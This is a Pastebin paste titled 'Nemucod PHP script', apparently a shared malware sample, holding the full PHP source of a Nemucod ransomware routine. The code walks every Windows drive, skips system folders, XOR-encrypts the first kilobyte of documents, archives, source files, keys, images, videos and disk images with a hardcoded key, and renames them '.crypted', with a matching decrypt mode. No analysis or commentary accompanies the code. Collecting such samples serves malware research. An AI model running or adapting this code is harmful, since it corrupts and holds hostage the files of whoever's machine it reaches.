Advertisement
Antelox

Nemucod PHP script

Jul 28th, 2016
390
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.04 KB | None | 0 0
  1. set_time_limit(0);
  2.  
  3. for ($i = 67; $i <= 90; $i++)
  4.     if (@is_dir(chr($i).
  5.             ':')) Tree(chr($i).
  6.         ':');
  7.  
  8. function Tree($p) {
  9.     $a = 'e';
  10.     $k = base64_decode('MWKTZJbIzBBUnANq/mTKmNwgb8ghwPgw8GDQUqf8JliKpAdqsCCQNoPQ+XDncNc+yBBY5EaonBCElPVWI3rRrO4wH1iRYMQoD3bdKIzw6CBYKI70QbYrMJgA9kCKQJLkyzahLGKY');
  11.     $s = chr(92);
  12.  
  13.     if (preg_match('/'.$s.$s.
  14.             '(winnt|boot|system|windows|tmp|temp|program|appdata|application|roaming|msoffice|temporary|cache)/i', $p) || preg_match('/recycle/i', $p)) return;
  15.  
  16.     $dp = @opendir($p);
  17.  
  18.     if ($dp === false) return;
  19.  
  20.     while ($o = @readdir($dp))
  21.         if ($o != '.' && $o != '..') {
  22.             if (@is_dir($p.$s.$o)) {
  23.                 Tree($p.$s.$o);
  24.             }
  25.             elseif($a == 'e' && preg_match('/[.](zip|rar|r00|r01|r02|r03|7z|tar|gz|gzip|arc|arj|bz|bz2|bza|bzip|bzip2|ice|xls|xlsx|doc|docx|pdf|djvu|fb2|rtf|ppt|pptx|pps|sxi|odm|odt|mpp|ssh|pub|gpg|pgp|kdb|kdbx|als|aup|cpr|npr|cpp|bas|asm|cs|php|pas|class|py|pl|h|vb|vcproj|vbproj|java|bak|backup|mdb|accdb|mdf|odb|wdb|csv|tsv|sql|psd|eps|cdr|cpt|indd|dwg|ai|svg|max|skp|scad|cad|3ds|blend|lwo|lws|mb|slddrw|sldasm|sldprt|u3d|jpg|jpeg|tiff|tif|raw|avi|mpg|mp4|m4v|mpeg|mpe|wmf|wmv|veg|mov|3gp|flv|mkv|vob|rm|mp3|wav|asf|wma|m3u|midi|ogg|mid|vdi|vmdk|vhd|dsk|img|iso)$/i', $o) || $a == 'd' && preg_match('/[.](crypted)$/i', $o)) {
  26.                 $fp = @fopen($p.$s.$o, 'r+');
  27.                 if ($fp !== false) {
  28.                     $x = @fread($fp, 1024);
  29.                     for ($i = 0; $i < strlen($x); $i++) $x[$i] = chr(ord($x[$i]) ^ ord($k[$i % strlen($k)]));
  30.                     @fseek($fp, 0);
  31.                     @fwrite($fp, $x);
  32.                     @fclose($fp);
  33.  
  34.                     if ($a == 'e') {
  35.                         @rename($p.$s.$o, $p.$s.$o.
  36.                             '.crypted');
  37.                     } else {
  38.                         @rename($p.$s.$o, preg_replace('/[.]crypted$/', '', $p.$s.$o));
  39.                     }
  40.                 }
  41.             }
  42.         }
  43.  
  44.     @closedir($dp);
  45. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement